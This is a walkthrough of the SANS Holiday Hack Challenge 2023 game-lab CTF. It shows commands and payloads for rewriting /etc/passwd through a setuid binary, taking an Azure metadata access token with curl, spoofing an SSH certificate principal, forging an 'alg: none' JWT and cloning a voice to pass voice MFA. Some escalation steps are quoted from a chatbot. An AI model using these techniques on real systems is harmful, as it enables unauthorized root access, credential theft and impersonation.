By now, you've likely pieced together the broader narrative of the alert we received. It all started with Wombley Cube, a skilled Craftsperson, and a malicious insider, who sent an email to the esteemed head elf, Alabaster Snowball. This seemingly innocent email contained a dangerous link leading to the malicious domain, MadElvesNorthPole.org. Alabaster Snowball, from his PC, unwittingly clicked on the link, resulting in the download and execution of malicious payloads. Notably, you've also discerned Wombley Cube's ulterior motive: to pilfer a copy of Santa's naughty or nice list and erase the data on the share drive containing critical information to Santa's operations. Kudos to you!
To earn credit for your fantastic work, return to the Holiday Hack Challenge and enter the secret phrase which is the result of running this query:
Copy
print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==')
And that results in: Beware the Cube that Wombles
Tangle Coalbox tells us now
I had my doubts, but you've proven your worth.
That phishing scheme won't trouble our client's organization anymore, thanks to your keen eye and investigatory prowess.
So long, Gumshoe, and be careful out there.
Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!
Just my luck, I thought...
A cybersecurity incident right in the middle of this stakeout.
Seems we have a flood of unusual emails coming in through ChatNPT.
Got a nagging suspicion it isn't catching all the fishy ones.
You're our phishing specialist right? Could use your expertise in looking through the output of ChatNPT.
Not suggesting a full-blown forensic analysis, just mark the ones screaming digital fraud.
We're looking at all this raw data, but sometimes, it takes a keen human eye to separate the chaff, doesn't it?
I need to get more powdered sugar for my donuts, so do ping me when you have something concrete on this.
Before we start, it is good to know something about SPF, DKIM and DMARC. Let's just ask the AI.
PROMPT: Please tell me in a few sentences, how SPF, DKIM and DMARC can secure e-mail communication.
ChatGPT:
SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting, and Conformance) are three key technologies used to secure email communication:
SPF (Sender Policy Framework): SPF helps prevent email spoofing by allowing domain owners to specify which mail servers are authorized to send emails on their behalf. When an email is received, the recipient's mail server checks the SPF record in the domain's DNS to verify if the email comes from a permitted server. This reduces the chance of receiving spoofed or forged emails.
DKIM (DomainKeys Identified Mail): DKIM provides a way to validate the authenticity of email messages. It allows an organization to take responsibility for a message in transit. DKIM works by adding a digital signature linked to the sending domain to the headers of email messages. The receiving email server then checks this signature against the public key published in the sender's DNS records. If the signature matches, it verifies that the email content has not been altered after it was sent, ensuring its integrity and authenticity.
DMARC (Domain-based Message Authentication, Reporting, and Conformance): DMARC builds upon SPF and DKIM. It provides a framework for email receivers to handle emails that fail SPF and DKIM checks. DMARC policies allow domain owners to indicate that their emails are protected by SPF and DKIM, and tell receiving mail servers what to do if neither of those authentication methods passes – such as rejecting the email or marking it as spam. DMARC also includes reporting capabilities, enabling domain owners to receive reports from email receivers about the emails they see that use their domain, which can help in identifying and addressing authentication issues and email spoofing.
Together, SPF, DKIM, and DMARC significantly enhance email security by ensuring the authenticity of the sender and the integrity of the message, while also providing mechanisms to combat phishing and email spoofing.
This challenge is about to mark the ones screaming digital fraud.
So we simply go through all the emails quickly and mark as spam anything with the following criteria:
About a minute later, we receive the success message:
Success!
Congratulations, Ace Detective! You've successfully navigated the treacherous waters of deception and emerged victorious. Your sharp wits and keen eye for detail have cracked the case wide open, proving that even the most cunning phishing attempts are no match for your discerning mind.
In a world where shadows often obscure the truth, you shone a bright light on duplicity. Your unwavering commitment to truth and justice in the digital realm has kept our virtual streets safe. Thanks to your efforts, the Phishing Detection Agency stands strong, a bulwark against the tide of digital deceit.
Remember, the battle against phishing is ongoing, but with sleuths like you on the case, the internet remains a safer place. You're not just a hero; you're a guardian of the digital frontier. So here's to you, the quintessential cyber sleuth, a beacon of hope in these pixelated alleyways of misinformation.
Your achievement is not just a personal victory; it's a triumph for all of us in the agency.
Fitzy Shortstack tells us
You've cracked the case! Once again, you've proven yourself to be an invaluable asset in our fight against these digital foes.
Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.
What am I doing in this saloon? The better question is: what planet are you from?
Yes, I’m a troll from the Planet Frost. I decided to stay on Earth after Holiday Hack 2021 and live among the elves because I made such dear friends here.
Whatever. Do you know much about privilege escalation techniques on Linux?
You're asking why? How about I'll tell you why after you help me.
And you might have to use that big brain of yours to get creative, bub.
Rose Mold gives you following hints as well:
There's various ways to escalate privileges on a Linux system.
Use the privileged binary to overwriting a file to escalate privileges could be a solution, but there's an easier method if you pass it a crafty argument.
After we have logged into the terminal, we look around for the simplest options for privilege escalation: sudo, crontab, setuid binaries, etc.
We find a binary under /bin/simplecopy
that is set to setuid root (see screenshot number 1). If we run this, we can see very quickly that we can use it to copy files from a source to a destination.
Since we don't have sudo
available, we ask the AI for other options:
PROMPT: How should I modify a /etc/passwd
so a normal user can get root permissions? I don't have sudo installed, do I have another way?
ChatGPT:
If sudo is not installed and you still need to give a user root privileges in a lab environment, there are a few alternative methods you can consider. However, keep in mind that these methods can pose significant security risks and should only be used in controlled, isolated environments.
Every user in a Unix/Linux system is identified by a User ID (UID). The root user has a UID of 0. You can change a user's UID to 0 in the /etc/passwd
file, which will grant them root privileges. However, this is extremely risky and not recommended because it can cause security and operational issues.
Open /etc/passwd
with a text editor (you need to be root or use root privileges to do this).
Find the line with the user you want to modify, it looks something like this:
username:x:1001:1001:User Name:/home/username:/bin/bash
Change the third field (the first number after the second colon) to 0. It should look like this:
username:x:0:1001:User Name:/home/username:/bin/bash
And because we don't know the password either, we ask the AI:
PROMPT: Can you create a passwd entry for user test with password test without shadow usage?
ChatGPT:
Creating a /etc/passwd
entry for a user with an embedded password is not recommended due to security reasons, especially in modern Unix-like systems where passwords are typically stored in the /etc/shadow
file for increased security. However, for educational purposes or in a controlled lab environment, I can show you how to do it.
First, you need to generate a password hash. Unix-like systems use different algorithms for hashing passwords, such as MD5, SHA-256, or SHA-512. Let's use the openssl
command to generate an MD5 hash for this example. Remember, MD5 is not recommended for actual use due to its vulnerabilities.
Open a terminal and run the following command:
openssl passwd -1 "test"
This will output an MD5 hash of the password "test".
You will manually add a line to the /etc/passwd
file with the hashed password. The format of the /etc/passwd
file is:
username:password:UID:GID:GECOS:directory:shell
For example, an entry for the user "test" might look like this:
test:$1$hashedpassword:1001:1001:Test User:/home/test:/bin/bash
Replace $1$hashedpassword
with the hash generated by the openssl command. The numbers 1001:1001 should be replaced with appropriate UID and GID for your system. Adjust the home directory and shell as needed.
Wow, that was very helpful. That's exactly what we do (see screenshot number 2). First we copy the /etc/passwd
into our directory, then replace the line as described by the AI and copy the file back again with the simplecopy
.
We can then log in with the password test and have just become root.
Rose Mold says afterwards
Yup, I knew you knew. You just have that vibe.
To answer your question of why from earlier... Nunya!
But, I will tell you something better, about some information I... found.
There's a hidden, uncharted area somewhere along the coast of this island, and there may be more around the other islands.
The area is supposed to have something on it that's totes worth, but I hear all the bad vibe toys chill there.
That's all I got. K byyeeeee.
Ugh... n00bs...
And the hint
Not all the areas around Geese Islands have been mapped, and may contain wonderous treasures. Go exploring, hunt for treasure, and find the pirate's booty!
Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!
Greetings, fellow adventurer! Welcome to Scaredy-Kite Heights, the trailhead of the trek through the mountains on the way to the wonderful Squarewheel Yard!
I'm Eve Snowshoes, resident tech hobbyist, and I hear Alabaster is in quite the predicament.
Our dear Alabaster forgot his password. He's been racking his jingle bells of memory with no luck.
I've been trying to handle this password recovery thing parallel to this hashcat business myself but it seems like I am missing some tricks.
So, what do you say, chief, ready to get your hands on some hashcat action and help a distraught elf out?
When we open the terminal, we are actually given everything we need. All we have to do is enter the hash and the dictionary. We only need to specify the appropriate hash mode for ASREP hashes. After a short time, the password is already cracked.
hashcat --force -m 18200 -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 hash.txt password_list.txt
elf@5caf6bc49991:~$ /bin/runtoanswer
What is the password for the hash in /home/elf/hash.txt ?
> IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!
Checking....
Your answer is correct!
Eve Snowshoes now says
Aha! Success! Alabaster will undoubtedly be grateful for our assistance.
Onward to our next adventure, comrade! Feel free to explore this whimsical world of gears and steam!
Catch twenty different species of fish that live around Geese Islands. When you're done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.
Excuse me, but you're interrupting my fishing serenity. Oh, you'd like to know how to become as good at fishing as I am?
Well, first of all, thank you for noticing my flair for fishing. It's not just about looking good beside the lake, you know.
The key is in the details, much like crafting the perfect toy. Observe the water, the weather, and the fish’s habits - it's a science and an art.
Of course, it helps to have a natural charm. Fish seem to find me irresistible. Must be my sparkling personality... or maybe it's just the glitter of my allure.
Oh, the mysteries of the aquatic life around these islands are as elusive as, well, a clever compliment. But you'll get one if you probe enough.
Remember, patience is more than a virtue in fishing; it’s a strategy. Like waiting for the right time to use flattery, you wait for the right moment to strike.
Go see if you can catch, say, 20 different types of fish!
Poinsettia McMittens gives you following hint as well:
Perhaps there are some clues about the local aquatic life located in the HTML source code.
After a bit of good old traditional fishing says Poinsettia McMittens:
Hoy small fry, nice work!
Now, just imagine if we had an automatic fish catcher? It would be as ingenious as me on a good day!
I came across this fascinating article about such a device in a magazine during one of my more glamorous fishing sessions.
If only I could get my hands on it, I'd be the undisputed queen of catching them all!
And we get some hints:
Perhaps there are some clues about the local aquatic life located in the HTML source code.
There are a variety of strategies for automating repetative website tasks. Tools such as AutoKey and AutoIt allow you to programmatically examine elements on the screen and emulate user inputs.
Catch at least one of each species of fish that live around Geese islands. When you're done, report your findings to Poinsettia McMittens.
This is the continuation of BONUS Fishing Guide
Our task is to catch all the fish. Of course, we can sail a little on the sea and fish for fish, but after a while we realize that we will catch many but certainly not all the fish in a finite amount of time this way.
If we look in the JavaScript console, we can see that there are two actions behind the button for casting and reeling in the fishing rod: castReelBtn.click()
and reelItInBtn.click()
. So let's try it directly in the console with a DOS attack (Duration On Sea :-) ):
PROMPT: Please create a Javascript code wich executes castReelBtn.click();
then waits 1 second then executes reelItInBtn.click();
, all in a endless loop
ChatGPT: Certainly! To create a JavaScript code that clicks a button with an ID castReelBtn
, waits for 1 second, and then clicks another button with an ID reelItInBtn
, and does this in an endless loop, you can use setInterval()
and setTimeout()
. Here's a simple script to accomplish this:
Update: I have modified my first script with a newer version which is less "intrusive". This one reels in the fish only if one has been caught, not every 2 seconds regardless if there is a fish or not. Please ignore the script in the screenshot.
setInterval(() => {
// Wait for 1 second and then click 'reelItInBtn' button
setTimeout(() => {
if (getComputedStyle(reelItInBtn)['backgroundColor'] == 'rgb(255, 0, 0)') {
console.log("reel in");
reelItInBtn.click();
} else if (castReelBtn.style.display == 'block') {
console.log("cast reel");
castReelBtn.click();
}
}, 500); // 1000 milliseconds = 1 second
}, 1000); // This sets the interval to 2 seconds (1 second waiting +1 second for action)
So we position our boat in a nice spot and let the automatic fish angler do the work for us. After a while, our basket is completely full except for 3 fish.
We got the tip that there must be a hint in the source code that shows where the fish can be found. By right-clicking on Investigate, we quickly see that the developers have "hidden" a fish heatmap. If we call up this page, we can see for each fish the place where it is most frequently found.
First we have to find the fish that we are missing. Of course, we don't count them ourselves, but use simple Linux on-board tools.
First we download the fish heatmap and save it as fishdensityref.html
. Then we look at our playerData
object and copy the fish found into a fish_caught.txt
file:
cat fish.txt | grep "\"name\"" | cut -d "\"" -f 4 | sed "s/The//g" | sed "s/^ //g" | sort | uniq > fish_caught.txt
cat fishdensityref.html | grep "<h3>" | egrep -o "<h3>.*?</h3>" | sed "s/<h3>//g" | sed "s/<\/h3>//g" | sed "s/The//g" | sed "s/^ //g" | sort | uniq > fish_available.txt
diff fish_caught.txt fish_available.txt
52a53
> Flippity Flan Flopper
79a81
> Glittering Gummy Whipray
112a115
> Piscis Cyberneticus Skodo
To find the right spot with the boat, simply replace the minimap shown at the bottom left with the relevant heatmap for the fish. If we fish there for a while, we can also get the missing fish.
Poinsettia McMittens says at the end
You managed to catch every fish? You're like the fishing version of a Christmas miracle!
Now, if only you could teach me your ways... but then again, I'm already pretty fabulous at everything I do.
And that's my beautiful collage (AI generated btw.):
Help Bow Ninecandle on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials
Hey there, I'm Garland Candlesticks! I could really use your help with something.
You see, I have this important pamphlet in my luggage, but I just can't remember the combination to open it!
Chris Elgee gave a talk recently that might help me with this problem. Did you attend that?
I seem to recall Chris mentioning a technique to figure out the combinations...
I have faith in you! We'll get that luggage open in no time.
This pamphlet is crucial for me, so I can't thank you enough for your assistance.
Once we retrieve it, I promise to treat you to a frosty snack on me!
Garland Candlesticks gives you following hint as well:
Check out Chris Elgee's talk regarding his and his wife's luggage. Sounds weird but interesting!
Of course we watch Chris Elgee's talk regarding his and his wife's luggage first.
Let's first take a look at the help window on how to operate the lock.
We can try it with one or two wheels to familiarise ourselves with the operation. Then we select 4 wheels, press Space twice or three times to generate a little pressure and turn each wheel several times, noting where resistance occurs again and again.
We repeat this for each wheel until we have found the right combination and the lock opens.
Garland Candlesticks tells us afterwards
Wow, you did it! I knew you could crack the code. Thank you so much!
Find the first Gamegosling cartridge and beat the game
Arrr, matey, shiver me timbers! There be buried treasure herrrrre.
Just kidding, I'm not really a pirate, I was just hoping it would make finding the treasure easier.
I guess you heard about the fabled buried treasure, too? I didn't expect to see anyone else here. This uncharted islet was hard to find.
There are 3 buried treasures in total, each in its own uncharted area around Geese Islands.
I've been searching for hours now with no luck, and these strange toys are starting to give me the creeps.
Maybe you'll be able to find it. Here, use my Gameboy Cartridge Detector. Go into your items and test it to make sure it's still working.
When you get close to the treasure, it'll start sounding off. The closer you get, the louder the sound.
No need to activate or fiddle with it. It just works!
I bet one of these creepy toys has the treasure, and I'm sure not going anywhere near them!
If you find the treasure, come back and show me, and I'll tell you what I was able to research about it.
Good luck!
You get following hints from Dusty Giftwrap as well:
There are 3 buried treasures in total, each in its own uncharted area around Geese Islands. Use the gameboy cartridge detector and listen for the sound it makes when treasure is nearby, which gets louder the closer you are. Also look for some kind of distinguishing mark or feature, which could mark the treasure's location.
Listen for the gameboy cartridge detector's proximity sound that activates when near buried treasure. It may be worth checking around the strange toys in the Tarnished Trove.
We wander around a bit and find a place where the cartridge detector stops.
After returning to Dusty Giftwrap he tells us:
Whoa, you found it!
It's a... video game cartridge? Coooooollll... I mean, arrrrrr....
So, here's what my research uncovered. Not sure what it all means, maybe you can make sense of it.
You have all three? I think that makes you ruler of the pirates!
And he give us another hint:
1) Giving things a little push never hurts. 2) Out of sight but not out of ear-shot 3) You think you fixed the QR code? Did you scan it and see where it leads?
We start the game via the Items menu item. The buttons for operation are displayed in the game. After a short introduction, we get started. The task is to push the blocks into the correct position.
We find the blocks by firing musical notes at them, which requires a bit of trial and error. Music will play for a while and the correct destination will appear. We also take care not to push blocks in such a way that they can no longer be moved. If we talk to the character in the north, we can reset the game. Except for one stone, the destination is close by and immediately visible. The last block, which is relatively far to the left, must be moved to the right-hand side of the playing field. Then the music is enough to recognise the destination.
When all blocks are positioned correctly, the final QR code appears. We simply scan this with our mobile phone and are directed to https://8bitelf.com/.
This page shows us the solution: flag:santaconfusedgivingplanetsqrcode
Find the second Gamegosling cartridge and beat the game
I can't believe I was actually able to find this underground cavern!
I discovered what looked liike an old pirate map in the attic of one of those huts in Rainraster Cliffs, and it actually led somewhere!
But now that I've seen where it leads, I think this might've been a bad idea. This place is scary! Maybe you want to take it from here?
First we have to find the cartridge. This is easy to spot in the room.
After returning to Tinsel Upatree he tells us
Whoa, you found it!
What version is it?
Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!
You have all three? What a glorious collection!
Tinsel Upatree gives us following additional hint:
1) This feels the same, but different! 2) If it feels like you are going crazy, you probably are! Or maybe, just maybe, you've not yet figured out where the hidden ROM is hiding. 3) I think I may need to get a DIFFerent perspective. 4) I wonder if someone can give me a few pointers to swap.
If we simply play the game, we quickly realise that we won't be let through.
Tinsel Upatree has drawn our attention to the fact that there are probably two different versions. So let's take a look at where the version comes from. By simply trying, we can download both a game0.gb
and a game1.gb
(Gameboy ROM) from this address.
To be able to play a Gameboy ROM locally, we need an emulator. We use visualboyadvance for this.
When we start both ROMs, we quickly realise that the worlds are built differently.
As we are currently using Windows, we also compare the two ROMs with a Windows HEX Editor, in my case the Hex Editor MX. We can see that there are a few differences.
I determined the positions using trial and error, there may be a better method, I still have to find out. So let's adjust game1.gb
as follows:
If we start the game again, we will see a magical portal through which we can enter the target room. If we use the radio, we hear a Morse code.
Let's just use the AI again:
PROMPT: Can you translate this morse code? --. .-.. ----- .-. -.--
ChatGPT: The Morse code --. .-.. ----- .-. -.-- translates to "GL0RY".
And that's our solution as well.
Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?
Hey there! I'm currently a bit swamped with this Azure deployment.
Once I'm done I'll tell you about it. It's pretty awesome!
You'll need a bit of Azure knowledge though. Sparkle Redberry can help you get up to speed on that. You can find her at the Rudolph's Rest Resort on Christmas Island.
After solving the objective Azure 101 from Sparkle Redberry:
Hello there! Alabaster Snowball at your service.
I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!
It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!
I'm a little wary though. I'd appreciate it if you could take a peek and confirm everything's secure before I deploy this configuration to all the Geese Islands servers.
Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
If you haven't heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.
Oh, and if you need to peek at the Function App code, there's a handy Azure REST API endpoint which will give you details about how the Function App is deployed.
Alabaster Snowball gives you following hints as well:
Check out Thomas Bouve's talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.
The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.
Firstly, let's watch the video here to understand how SSH certificates work.
PROMPT: Can you give me a short explanation how SSH certificates work ?
ChatGPT:
In a typical SSH setup without certificates, users authenticate themselves to a server using a pair of cryptographic keys: a public key and a private key. The server must have a copy of the user's public key in advance (usually in the ~/.ssh/authorized_keys
file), and the user must possess the corresponding private key.
SSH certificates introduce a Certificate Authority (CA) into this process. Instead of directly trusting individual public keys, the server is configured to trust the CA. The CA issues certificates that vouch for the identity of users or hosts.
The CA signs a user's or host's public key along with identity information (like usernames or hostnames) to create an SSH certificate. This process is similar to how SSL certificates are issued for websites.
When a user connects to a server, instead of providing their public key for verification, they present their SSH certificate. The server, trusting the CA, verifies the signature on the certificate using the CA's public key. If the certificate is valid, the user is authenticated.
Similarly, SSH certificates can be used to authenticate the server to the user's client, ensuring the client is connecting to the legitimate server.
So the first thing we do is generate an SSH key pair
user@machine:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa):
Created directory '/home/user/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/user/.ssh/id_rsa
Your public key has been saved in /home/user/.ssh/id_rsa.pub
...
Next, we navigate to the application mentioned at https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl and copy our public key /home/user/.ssh/id_rsa.pub
into it.
We will then receive an SSH certificate back (which is our signed public SSH key).
Alabaster Snowball mentioned to use the monitor account to access the host. Let's use our new SSH certifcate:
mv ssh_cert.txt .ssh/id_rsa.pub
We can see an Satellite Tracking Interface
which we'll cancel by pressing CTRL-C
.
The next step is to access the Web Apps - Get Source Control see Microsoft's documentation here.
To make it easier we're using Postman. We want to send a GET request to https://management.azure.com/subscriptions/{{subscriptionId}}/resourceGroups/{{resourceGroupName}}/providers/Microsoft.Web/sites/{{name}}/sourcecontrols/web?api-version=2022-03-01.
We set an environment like this (the values can be taken from the previous objective Azure 101:
We submit the request and get
{
"error": {
"code": "AuthenticationFailed",
"message": "Authentication failed. The 'Authorization' header is missing."
}
}
Let's quickly ask the AI:
PROMPT: I do have access to Azure via CLI and can use "az account show" to access account information. Now I want to access the API but I get an error message "The Authorization header is missing." How can I use the working CLI to access the API as well?
ChatGPT:
To access Azure APIs using the credentials from your Azure CLI, you need to obtain an access token that you can use as the Authorization header in your API requests. Here's a step-by-step guide on how to do this:
You can obtain an access token by using the Azure CLI command az account get-access-token
. This command will return a JSON object that includes an accessToken field.
When making API calls to Azure services, you need to include this access token in the Authorization header. The header should look like: Authorization: Bearer <accesstoken>
, where <accesstoken>
is the token you obtained from the Azure CLI.
Too bad we don't have enough permissions in the former Objective Azure 101. But we already have SSH access to the target VM. We remember the last KringleCon 2022 and the metadata, more information can be found here. Let's try it out right away.
monitor@ssh-server-vm:~$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc........WRQjIw","client_id":"b84e06d3-aba1-4bcc-9626-2e0d76cba2ce","expires_in":"83831","expires_on":"1702162535","ext_expires_in":"86399","not_before":"1702075835","resource":"https://management.azure.com/","token_type":"Bearer"}monitor@ssh-server-vm:~$
We copy the value of the access_token
over to Postman and send the request again.
We found the repository after all: https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa
We want to change the principal to get more permissions. So let's take a look at the source code to see if there is a possibility there. In fact, the code accepts an additional parameter principal, which is not used in the web page.
if not (ssh_pub_key.lower().startswith("ssh-rsa") or ssh_pub_key.lower().startswith("ssh-ed25519")):
raise ValidationError("ssh_pub_key is not an RSA or ED25519 SSH public key.")
principal = data.get("principal", DEFAULT_PRINCIPAL)
if not isinstance(principal, str):
raise ValidationError("principal is not a string.")
So let's send the same request via Burp Suite and then send it to the repeater. There we simply add the parameter and send the request again. And the response does indeed contain the spoofed principal.
We now use the new SSH public key and can use it to log in as Alabaster.
And that gives us the solution.
Alabaster Snowball tells us
Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.
Why would ChatNPT generate code with such a glaring vulnerability? It's almost like it wanted my system to be unsafe. Could ChatNPT be evil?
Thanks for the help, I'll go and update the application code immediately!
While we're on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.
You might be wondering about that SatTrackr tool I've installed on the monitor account?
Here's the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.
I wrote that satellite tracker tool to collect some additional data and sure enough, it's in a geostationary orbit above us.
No idea what that means yet, but I'm keeping a close eye on that thing!
And we get a new hint:
Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.
Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.
Hey there, friend! Piney Sappington here.
You look like someone who's good with puzzles and games.
I could really use your help with this Elf Hunt game I'm stuck on.
I think it has something to do with manipulating JWTs, but I'm a bit lost.
If you help me out, I might share some juicy secrets I've discovered.
Let's just say things around here haven't been exactly... normal.
So, what do ya say? Are you in?
Oh, brilliant! I just know we'll crack this game together.
I can't wait to see what we uncover, and remember, mum's the word!
Thanks a bunch! Keep your eyes open and your ears to the ground.
Piney Sappington gives us following hint as well:
Unlock the mysteries of JWTs with insights from PortSwigger's JWT Guide.
We start the game and have to throw snowballs at the poor elves. But they are damn fast and a click on the help field reveals that there must be a way to slow them down.
Let's also take a look at https://portswigger.net/web-security/jwt.
So let's analyse the JWT token.
We simply translate the token via https://jwt.io/ or even more simply via https://www.base64decode.org/:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0.
HEADER:ALGORITHM & TOKEN TYPE
{
"alg": "none",
"typ": "JWT"
}
PAYLOAD:DATA
{
"speed": -500
}
Since no signature is required, we can change the content as we wish, see also https://portswigger.net/web-security/jwt#accepting-tokens-with-no-signature.
We change the content as follows and enter this again in the browser:
{"speed":-50 }
eyJzcGVlZCI6LTUwIH0=
TOTAL:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwIH0.
The elves are now so slow that catching 75 of them is no longer a problem.
We even get a glimpse of a diary in the game:
Piney Sappington tells us now about the diary
Well done! You've brilliantly won Elf Hunt! I couldn't be more thrilled. Keep up the fine work, my friend!
What have you found there? The Captain's Journal? Yeah, he comes around a lot. You can find his comms office over at Brass Buoy Port on Steampunk Island.
There's a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.
What are you doing here, and who are you?
Me first? I'm Jewel Loggins. And I was trekking through the jungle and happened to find this place.
I liked this spot and decided to set up camp. Seeing you here is quite the surprise.
Well, because the only other person I've ever seen come here is Wombley Cube.
I thought this tram station in the middle of the jungle was strange to begin with, but then Wombley added to the intrigue.
I guess all this spy stuff is typical for him, so maybe I shouldn't think much of it. I'm sure everything's fine.
Every time he comes here, he says something to the speaker. Then, the door opens, and he rides the tram somewhere.
I gave it a try, but the door didn't open for me. Knowing Wombley, it's some kind of secret passphrase.
If you wanna see where the tram goes, I think you need to find out what that passphrase is.
Ribb Bonbowford over at Coggoggle Marina on Steampunk Island works with Wombley. Try asking if he knows.
I hope you find it. I'll be here when you get back!
Jewel Loggins give us following hint:
Wombley says a specific phrase into the Access Speaker. He works in the Research Department and everything they do it super secret, so it may be a challenge to find out what the phrase is. Ribb also works in that department. Try to find and ask him.
After solving the challenge Active Directory from Ribb Bonbowford Jewel Loggins tells us
What, you know the passphrase!? Let me try it!
Nope, didn't work. Knowing Wombley, the passphrase isn't the only requirement. He's all about that MFA!
Oh yeah, multi-factor authentication! The passphrase for something he knows, and his voice for something he is!
That's it! You need to be Wombley. You need his voice. Now, how are you gonna get that?
Since only us elves can get a subscription to use ChatNPT, try searching for another AI tool that can simulate voices. I'm sure there's one out there.
And we get some hints as well:
Wombley says a specific phrase into the Access Speaker. He works in the Research Department and everything they do it super secret, so it may be a challenge to find out what the phrase is. Ribb also works in that department. Try to find and ask him.
It seems the Access Speaker is programmed to only accept Wombley's voice. Maybe you could get a sample of his voice and use an AI tool to simulate Wombley speaking the passphrase.
We already have the sentence that Wombley says from the previous challenge. When we talk to him, he also tells us about his new audio book. We download this first.
Then we go in search of an AI voice cloning tool, https://vocloner.com/ is perfect and can be used without registration or costs. We upload the audio book as a reference and enter the following text to be spoken:
And he whispered, 'Now I shall be out of sight; So through the valley and over the height.' And he'll silently take his way.
Then we download the audio file again and play it at the door. And we're inside.
Jewel Loggins tells us
Are you like a master spy or something? I've only seen stuff like that in the movies!
It sure is scary what you can do with AI, huh? I sure hope ChatNPT has better guardrails in place.
Gain access to Jack's camera. What's the third item on Jack's TODO list?
This is Ground Control, do you read me...? Ground Control to --
Hey! How'd you get in here? That tram is the only accessible point of entry and I secured it with MFA!
No matter, you may have had the skills to find and infiltrate the satellite ground station, but there's no chance you can hack your way into the satellite itself!
The nanosat's Supervisor Directory will remain hidden, and you'll never discover the mastermind behind all this.
So don't even waste your time trying.
You get this hint as well:
In his hubris, Wombley revealed that he thinks you won't be able to access the satellite's "Supervisor Directory". There must be a good reason he mentioned that specifically, and a way to access it. He also said there's someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.
This challenge requires a little preparation. To do this, we first go to the NanoSat-o-Matic in this room and download the zip file and unzip it. The README.md file contains help and the necessary steps. To summarise, we do the following:
We start Docker and execute the commands in README.md as follows:
PS C:\Temp\client_container> docker build -t nmf_client .
[+] Building 631.7s (17/17) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 1.69kB 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load metadata for docker.io/library/eclipse-temurin:11-jre 2.5s
=> [auth] library/eclipse-temurin:pull token for registry-1.docker.io 0.0s
=> [stage-1 1/11] FROM docker.io/library/eclipse-temurin:11-jre@sha256:5ab15a813764f19a1d7f6f7f0c60266ba1efb37 13.6s
=> => resolve docker.io/library/eclipse-temurin:11-jre@sha256:5ab15a813764f19a1d7f6f7f0c60266ba1efb3702b3ab20c6e 0.0s
=> => sha256:e3a0dd4e5224ba77a5588baadfd0a49dbe1c202ba2c6eaab5e29c7a2904e8718 12.90MB / 12.90MB 4.3s
...
=> exporting to image 9.2s
=> => exporting layers 9.2s
=> => writing image sha256:8773be50c378c108757b2c72ad50719c46e44ae5778dfa25bd4bf07adf52e660 0.0s
=> => naming to docker.io/library/nmf_client 0.0s
What's Next?
View a summary of image vulnerabilities and recommendations → docker scout quickview
PS C:\Temp\client_container>
PS C:\Temp\client_container> docker run -it --cap-add=NET_ADMIN -p 5900:5900 -p 6901:6901 --rm nmf_client
15/12/2023 21:48:11 x11vnc version: 0.9.16 lastmod: 2019-01-05 pid: 9
15/12/2023 21:48:11 Using X display :1
15/12/2023 21:48:11 rootwin: 0x50d reswin: 0x400001 dpy: 0xf16955a0
15/12/2023 21:48:11
15/12/2023 21:48:11 ------------------ USEFUL INFORMATION ------------------
...
15/12/2023 21:48:11 screen setup finished.
...
The VNC desktop is: 57ac2c0fef48:0
PORT=5900
...
We download a VNC client, e.g. for Windows TightVNC and connect to localhost:5900
Next, we go to the terminal and start Time Travel
(this starts the necessary services in the background). This takes a while and at the end we see our connection data.
GateXOR> building up finished...
GateXOR> [time traveler] connected successfully...
GateXOR> [time traveler] please hold, configuring...
###BEGIN###
### This is the server's Wireguard configuration file. Please consider saving it for your record. ###
[Interface]
...
[Peer]
...
###END####
###BEGIN###
### This is your Wireguard configuration file. Please save it, configure a local Wireguard client, and connect to the Target. ###
[Interface]
...
[Peer]
...
###END####
GateXOR> {end}...[timeline] reverted!
The easiest way to do this is to edit the /etc/wireguard/wg0.conf
file directly via Docker -> Containers -> Files
and copy the second part This is your Wireguard configuration file into it. Then we restart the interface via Docker -> Containers -> Exec
root@57ac2c0fef48:~# wg-quick down wg0
[#] ip link delete dev wg0
root@57ac2c0fef48:~# wg-quick up wg0
